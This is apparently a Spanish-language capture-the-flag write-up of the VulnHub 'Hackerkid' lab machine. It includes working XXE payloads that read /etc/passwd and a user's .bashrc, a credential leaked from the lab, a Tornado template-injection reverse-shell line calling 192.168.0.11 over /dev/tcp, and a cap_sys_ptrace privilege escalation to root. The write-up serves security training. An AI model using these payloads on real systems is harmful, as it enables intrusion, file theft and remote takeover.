VulnHub Hackerkid

VulnHub Hackerkid

Máquina de dificultad fácil

·

4 min read

Reconocimiento

Debido a que esta máquina la debemos levantar en nuestro equipo primero debemos descargarla y levantarla, luego de ello realizar un escaneo en nuestra red para poder identificar la dirección IP que se le asignó haciendo uso de arp-scan.

El ejecutar podemos ver varias direcciones IP, la que nos importa es la que indica VMware, ya que es la dirección asignada a nuestra máquina víctima.

Enumeración

Podemos observar que tenemos un servicio que corre en tornado, algo que debemos tener en cuenta

revisando la página podemos ver que encontramos un texto interesante al comienzo

También si vemos el código fuente podemos ver algo más interesante que tenemos un formato page_no para agregar la página.

Probamos de manera manual y podemos ver que tenemos un texto interesante, así que probaremos con burpsuite para ver más resultados de manera más rápida.

En el intruder de Burp Suite lo tenemos de la siguiente manera

El payload lo configuramos así

Después de un momento podemos ver que la longitud varía solo en uno, el cual es el 21.

El texto que podemos observar al ingresar que nos da más pistas de que hacer a continuación.

Agregamos la dirección a nuestro host.

Buscamos subdominios por medio de DIG.

Agregamos ese dominio a nuestro host hackerkid.blackhat.local y si ahora nos dirigimos a ese dominio podemos observar un registro.

Interceptamos el registro y podemos observar que nos devuelve el mail

probamos ingresando algun otro texto en email y podemos observar que si refleja

Esto podría ser una vulnerabilidad xxe, enviamos la consulta y podemos ver que si es vulnerable a un xxe:file disclosure.

<!DOCTYPE test [<!ENTITY xee SYSTEM 'file:///etc/passwd'> ]>

Revisamos el passwd y podemos ver que tenemos otro usuario aparte de root que usan una bash.

Como podemos leer archivos procederemos a probar si podemos listar o ver algún servicio, tratamos de listar archivos, pero no podemos, así que probamos realizando una conversión en b64 primero empezamos con etc/passwd y también es posible.

Como es posible y no tenemos conocimiento de qué archivos, podemos recurrir a archivos que por lo general existen, así que listaremos los archivos del usuario saket, así también recordemos que usa una bash, por lo que podemos revisar si tenemos alguna pista en su archivo /home/saket/.bashrc.

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc"> ]>

Convertimos los resultados y si seguimos bajando en la decodificación podemos encontrar unas credenciales que también nos indican una app de Python y recordemos que el servicio corría bajo tornado.

app username="admin" password="Saket!#$%@!!"

vamos a la página que corría bajo tornado y probamos las credenciales

ingresamos la credencial pero nos da error

probamos con otros nombres como puede ser saket, ya que es el usuario donde encontramos y al enviar las credenciales podemos observar que son correctas

como podemos observar nos pide un nombre ahora revisando la plataforma y con conocimiento de que va sobre tornado buscamos vulnerabilidades y podemos observar que tiene un ssti si colocamos /?name=algo.

Probamos con un ssti comunes y podemos observar que sí es viable

Explotación

probaremos un revershell

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.0.11/1234 0>&1"')}}

Enviamos como está el código, pero la petición nos da error.

Para evitar este problema antes debemos url-encodear, como estamos pasando por burpsuite solo sombreamos el payload y damos ctrl+u y ya lo tendríamos antes de enviar, iniciamos nuestra escucha y luego enviamos, a continuación podremos observar que ya tenemos acceso y si hacemos un hostname -I para ver si estamos en la máquina y no en un contenedor observamos que sí estamos en la máquina.

Ahora debemos escalar privilegios para ellos, listaremos las capabilities y permisos suid

podemos observar que por capabilities tenemos

python2.7 = cap_sys_ptrace+ep

googleando un poco encontramos una muestra de como elevar privilegios el cual podemos replicar para nuestro propósito sobre como explotar esa vulnerabilidad.

Como indica ejecutamos ps -eaf, pero le agregamos | grep root, ya que es el pid root es el que nos importa.

Usaremos este

antes de continuar revisaremos si está haciendo uso del puerto con el número de PID así también ejecutaremos el exploit que indica en el tutorial del paso anterior el cual encontramos en la página de hackticks que se encuentra bajo el nombre de CAP_SYS_PTRACE. Luego de guardar todo es código ejecutamos el archivo y veríamos lo siguiente.

Si revisamos el estado de puertos abiertos podemos observar que tenemos el puerto 5600 abierto.

Si nos conectamos por nc podemos observar que ya tenemos acceso como root